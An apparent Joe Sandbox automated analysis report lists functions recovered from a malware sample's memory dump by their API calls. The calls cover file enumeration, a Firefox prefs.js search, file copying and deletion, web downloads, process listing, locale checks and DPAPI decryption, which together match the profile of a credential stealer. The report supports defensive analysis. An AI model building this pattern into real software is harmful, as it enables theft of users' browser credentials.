Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: dcfce545db42eafbc4c00841a23c402624ef2cb148c78d65778cbd64a4c48614
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: dcfce545db42eafbc4c00841a23c402624ef2cb148c78d65778cbd64a4c48614
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 69e6fc4b3b9ceb1d85bb5aa77bdb22dc69ea1785c54d76d3d8369d823c76fbdb
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: 69e6fc4b3b9ceb1d85bb5aa77bdb22dc69ea1785c54d76d3d8369d823c76fbdb
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 0c023fc6671106c76bc197228c244843c5604ae95ff1bc6e8b65d97538362145
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 0c023fc6671106c76bc197228c244843c5604ae95ff1bc6e8b65d97538362145
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 00401710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 0786eeb1295010aa9cf7b95a213873d529ff890f6d1a2a5683179d0ce087cfe5
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: 0786eeb1295010aa9cf7b95a213873d529ff890f6d1a2a5683179d0ce087cfe5
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a83782f97f89d8ef5a489bcae6ca2c7fa0ef729b615697f6a3d1f51cfcfcb169
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: a83782f97f89d8ef5a489bcae6ca2c7fa0ef729b615697f6a3d1f51cfcfcb169
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 8912334202a1d32a15963cb3ae07022ef33d78cc5b0ab64b554d4c9825581f62
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 8912334202a1d32a15963cb3ae07022ef33d78cc5b0ab64b554d4c9825581f62
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 0040E270 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

\*.*, xrefs: 0040E28D
.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$\*.*
API String ID: 433455689-1178718010
Opcode ID: 5d76c2d98abd828b5e70da18f67dc4ad158c33d42c315d37af3e17e313de1203
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 5d76c2d98abd828b5e70da18f67dc4ad158c33d42c315d37af3e17e313de1203
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: e42416d445b4febc3b46b784c9d89a561bda18c407d2ad9f9d6445274e4162f6
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: e42416d445b4febc3b46b784c9d89a561bda18c407d2ad9f9d6445274e4162f6
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02759528,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02759528,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02759528,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

